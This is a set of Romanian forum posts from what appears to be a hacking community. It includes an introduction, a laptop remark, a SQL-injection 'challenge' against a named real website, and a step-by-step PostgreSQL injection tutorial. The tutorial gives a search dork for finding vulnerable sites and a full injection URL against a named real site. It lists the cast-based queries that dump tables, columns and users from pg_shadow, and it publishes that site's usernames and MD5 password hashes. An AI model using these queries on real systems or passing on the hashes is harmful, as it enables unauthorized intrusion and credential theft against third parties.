Sheyken

Cateva intrebari: De ce nu merge sa accesezi "www.nasa.gov" ? De ce nu merge sa downloadezi un fisier ?

Dupa cum spuneam si catre Bogdan, nu trebuie sa ne tiganim, lasati offu' pentru ca voi cere sa fie inchis acest challenge.

Detin un HP Comapq CQ61 Presario de 3 ani de zile, am avut cateva probleme cu el se incalzea foarte tare, dar am cumparat un cooling pad pentru el, si temperatura a inceput sa scada. Poftim un link de la el -> Preturi si opinii pt. HP Compaq Presario CQ61-355SQ Core 2 Duo T6600 2.2GHz Eu l-am luat cu 400 de euro acum 3 ani... acum cred ca e la accelasi pret.

Ma bucur ca ti-a placut. O sa mai incerc sa fac cand am timp liber, mai multe tutoriale.

denjacker, ma asteptam sa il rezolvi Voi face lista cu Solvers.

Frumos, insa TOR nu este asa bun pentru Anonimizare. Ce zici de SSH [ NoLogine ] ? Like pentru Tutorial !

Dupa cum vad tu crezi ca as incerca sa dau in gat pe cineva de pe RST sau pe cei care vor participa la challenge, ei bine NU! De ce? Pentru ca eu am cerut ca in sintaxa sa fie selectata doar Versiunea, crezi ca iti bate mos craciun la usa doar pentru versiunea bazei de date? --------------------- Cu asta am terminat OFF topicu' astept rezolvarile [ sper sa fie cineva ]

Nu vad nici o problema in posturile mele, mai intai trebuia sa te uiti pe la rubrica "Bun Venit" m-am prezentat trebuie sa vezi cine sunt. In plus te puteai uita si la "Tutoriale in Limba Romana" la primul topic care l-am facut cu un tutorial PostGreSQL Injection: https://rstcenter.com/forum/56871-postgresql-injection-tutorial.rst Ai putea sa vezi culorile pe care le-am folosit in poze. Iti voi trimite PM cu Sintaxa, insa tu nu vei avea voie sa participi la challenge. // Edit, PM trimis.

[+]Target: News | Puerto Rico Islanders [+]Document: MySQL Injection [+]Image: Cerinte: --------------------------- Sintaxa se trimite prin PM Postarea unui ScreenShoot este obligatorie Pentru rezolvarea acestui challenge este necesar sa postati versiunea bazei de date. --------------------------- Solvers: alecseu denjacker ... Will be edited.

As dori sa imi incep activitatea pe RST cu un topic care va aduce "benifici" comunitati, sau userilor din aceasta comunitate. Probabil, majoritatea stiti cele mai usoare metode de SQL Injection [ principalele ]: MySQL Injection Union Based sau Blind etc. M-am gandit sa fac un tutorial pentru cei care "ar vrea" sa avanseze in injecti, si acela este: Un tutorial despre PostGreSQL Injection. --------------------------- Ca de obicei luam un site, m-am grabit si am luat un site [ cu ajutorul lui gooogle, prin dorku' -> inurl:.php? intext:Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: ] Ok, sa incepem partea "practica": [1] Daca ar fi sa o luam de la 0, am cauta versiunea bazei de date, pentru a afla versiunea este necesar urmatorul query: and 1=cast(version() as int)-- In cazul meu: [2] Continuarea se face prin aflarea tabelelor din baza de date, pentru a afla primul tabel este necesar urmatorul query: and 1=cast((select table_name from information_schema.tables limit 1 offset 0) as int)-- In cazul meu: Primul tabel din baza de date, este pg_type. Pentru a trece la urmatorul tabel este necesar urmatorul query: and 1=cast((select table_name from information_schema.tables where table_name not in ('TABEL') limit 1 offset 0) as int)-- In cazul meu: and 1=cast((select table_name from information_schema.tables where table_name not in ('pg_type') limit 1 offset 0) as int)-- Urmatorul tabel este: pg_attribute Vom continua injectia, eu am facut-o mai pe scurt si m-am dus la tabelul care ma intereseaza [ cel cu useri ]. Query intreg: http://www.aspem.org/indexa.php?p=290&p1=-80' and 1=cast((select table_name from information_schema.tables where table_name not in ('pg_type','pg_attribute','user_mapping_options','user_mappings','tables','triggered_update_columns','triggers','usage_privileges','view_column_usage','view_routine_usage','view_table_usage','views','data_type_privileges','element_types','_pg_foreign_data_wrappers','foreign_data_wrapper_options','foreign_data_wrappers','pg_statistic','_pg_foreign_servers','foreign_server_options','foreign_servers','_pg_user_mappings','schemata','sequences','sql_features','sql_implementation_info','sql_languages','sql_packages','pg_database','pg_authid','pg_roles') limit 1 offset 0) as int)--+ Tabelul cu Useri este pg_shadow. [3] Continuam cu extragerea coloanelor din tabelul pg_shadow, este necesar urmatorul query: and 1=cast((select column_name from information_schema.columns where table_name = pg_shadow limit 1 offset 0) as int)-- In cazul meu: Prima coloana: usename Pentru a extrage urmatoarea coloana este necesara urmatoarea modificare in Queryu' de deasupra. and 1=cast((select column_name from information_schema.columns where table_name = pg_shadow limit 1 offset 1) as int)-- A 2 a coloana: usesysid Sarim... direct la coloana care ne intereseaza, coloana "passwd". and 1=cast((select column_name from information_schema.columns where table_name = pg_shadow limit 1 offset 5) as int)-- Avem coloanele care ne intereseaza: usename & passwd. [4] Sa continuam, va trebui sa extragem din Usename & passwd. Data. Este necesar urmatorul Query: and 1=cast((select usename from pg_shadow limit 1 offset 0) as int)-- Primul User: Al 2 lea user: postgres Al 3 lea user: salvataggi Prima Parola pentru useru' aspem: Aveti nevoie de urmatorul Query: and 1=cast((select passwd from pg_shadow limit 1 offset 0) as int)-- Voi sari peste partea cu restul pozelor [ pentru ca va descurcati singuri, "sunteti baieti mari" ] Total useri & parole: User: aspem Password: 4e8991501921aa20346da7d0ea86fe35 [MD5] User: postgres Password: 142484a40d02122af06bc427d4367d73 [MD5] User: salvataggi Password: No password. ---------------------------- Va multumesc ca "vati pierdut" timpul cu acest tutorial pe care poate [deja il stiati].

Salut, nickname-ul meu este Sheyken, am venit pe RST pentru a imi creste abilitatile si pentru a imi face "prieteni" noi. De obicei ma orientez pe *SQL si *SQL Injection, pasiunea pentru aceste 2 chestii a venit de la o simpla intamplare de "amuzament". Cam atat despre mine, sper sa ne intelegem.